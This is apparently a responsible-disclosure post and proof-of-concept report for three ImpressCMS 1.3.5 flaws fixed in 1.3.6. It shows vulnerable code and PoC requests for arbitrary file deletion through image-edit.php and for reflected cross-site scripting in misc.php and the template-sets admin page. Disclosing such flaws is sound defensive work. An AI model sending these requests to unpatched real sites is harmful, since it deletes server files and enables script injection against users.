I have discovered two vulnerabilities in ImpressCMS. These have been
fixed in the new 1.3.6 version, which you can get at
https://sourceforge.net/projects/impresscms/files/ImpressCMS%20Official%20Releases/ImpressCMS%201.3%20Branch/ImpressCMS%201.3.6/.

One is an arbitrary file deletion and the other is two cross site
scripting issues.
Note that I was unable to exploit the XSS issues due to the inbuilt
protection module, but someone smarter / with more time might be able
to do it.

The tickets containing the information are available here
https://www.assembla.com/spaces/dW4voyNP0r4ldbeJe5cbLr/tickets?report%5Bestimate_show%5D=true&report%5Bid%5D=0&report%5Bmilestone_id_cond%5D=1&report%5Bmilestone_id_val%5D=4129593&report%5Btitle%5D=All+Tickets+for+%27ImpressCMS+1.3.6%27&report%5Btotal_estimate_show%5D=true&report%5Btotal_invested_hours_show%5D=true&report%5Bworking_hours_show%5D=true.

The full report can be seen at my repo
https://github.com/pedrib/PoC/blob/master/impresscms-1.3.5.txt
Thanks in advance, and thanks to the ImpressCMS team for being so responsive.

Regards,
Pedro Ribeiro
Agile Information Security

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Proof of concept:


ImpressCMS 1.3.5 vulnerabilities
===================================
Discovered by
Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security

========================================
Vulnerability: Deletion of arbitrary files in the system
File(line): /impresscms/htdocs/libraries/image-editor/image-edit.php(62)
Code snippet:
if (! is_null ( $op ) && $op == 'cancel') {
$image_path = isset ( $_GET ['image_path'] ) ? $_GET ['image_path'] : null;

if (file_exists ( $image_path )) {
@unlink ( $image_path );
}

Proof of concept:
<form name="input" action="http://192.168.56.101/impresscms/htdocs/libraries/image-editor/image-edit.php?op=cancel&image_path=/path/to/any/file" method="post">
<input type="submit" value="Submit">
</form>


========================================
Vulnerability: Cross site scripting (XSS)
File(line): /impresscms/htdocs/misc.php(110)
Code snippet:
<h4><?php echo _MSC_AVAVATARS;?></h4>
<form name='avatars' action='<?php echo $_SERVER['REQUEST_URI'];?>'>
<table width='100%'>

Proof of concept:
https://192.168.56.101/impresscms/htdocs/misc.php?action=showpopups&type=avatars&target='>PAYLOAD

NOTE: wasn't able to exploit with Protector on, but someone smarter might be able to do it.


========================================
Vulnerability: Cross site scripting (XSS)
File(line): /impresscms/modules/system/admin/tplsets/main.php(171)
Code snippet:
case 'listtpl':
$tplset = trim($_GET['tplset']);
if ($tplset == '') {
redirect_header('admin.php?fct=tplsets', 1);
}
if ($moddir == '') {
redirect_header('admin.php?fct=tplsets', 1);
}
icms_cp_header();
$module_handler = icms::handler('icms_module');
$module =& $module_handler->getByDirname($moddir);
$modname = $module->getVar('name');
echo '<div class="CPbigTitle" style="background-image: url('
. ICMS_MODULES_URL . '/system/admin/tplsets/images/tplsets_big.png)">'
. '<a href="admin.php?fct=tplsets">'. _MD_TPLMAIN
.'</a>&nbsp;<span style="font-weight:bold;">&raquo;&raquo;</span>&nbsp;'
. $tplset . '&nbsp;<span style="font-weight:bold;">&raquo;&raquo;</span>&nbsp;'
. $modname . '<br /><br /></div><br />';

Proof of concept:
https://192.168.56.101/impresscms/htdocs/modules/system/admin.php?fct=tplsets&op=listtpl&tplset=aaaa">PAYLOAD&moddir=banners

NOTE: wasn't able to exploit with Protector on, but someone smarter might be able to do it.